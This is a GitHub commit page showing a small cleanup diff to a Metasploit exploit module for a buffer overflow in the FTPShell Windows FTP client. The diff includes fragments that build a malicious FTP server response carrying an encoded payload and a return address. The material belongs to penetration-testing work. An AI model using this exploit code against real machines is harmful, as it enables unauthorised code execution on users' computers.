Skip to content

Commit

Permalink
Update ftpshell_cli_bof.rb
Browse files Browse the repository at this point in the history
  • Loading branch information
DanielRTeixeira committed Jun 29, 2018
1 parent 1854793 commit 1e148a8
Showing 1 changed file with 4 additions and 5 deletions.
9 changes: 4 additions & 5 deletions modules/exploits/windows/ftp/ftpshell_cli_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Seh
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
Expand Down Expand Up @@ -68,7 +66,8 @@ def exploit
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
p = regenerate_payload(client)
return if p.nil?
print_status("#{client.peerhost} - connected.")

res = client.get_once.to_s.strip
Expand All @@ -93,9 +92,9 @@ def on_client_connect(client)

sploit = '220 "'
sploit << payload.encoded
sploit << '\x20' * (payload_space - payload.encoded.length)
sploit << "\x20" * (payload_space - payload.encoded.length)
sploit << target.ret
sploit << '" is current directory\r\n'
sploit << "\" is current directory\r\n"

print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)
Expand Down

0 comments on commit 1e148a8

Please sign in to comment.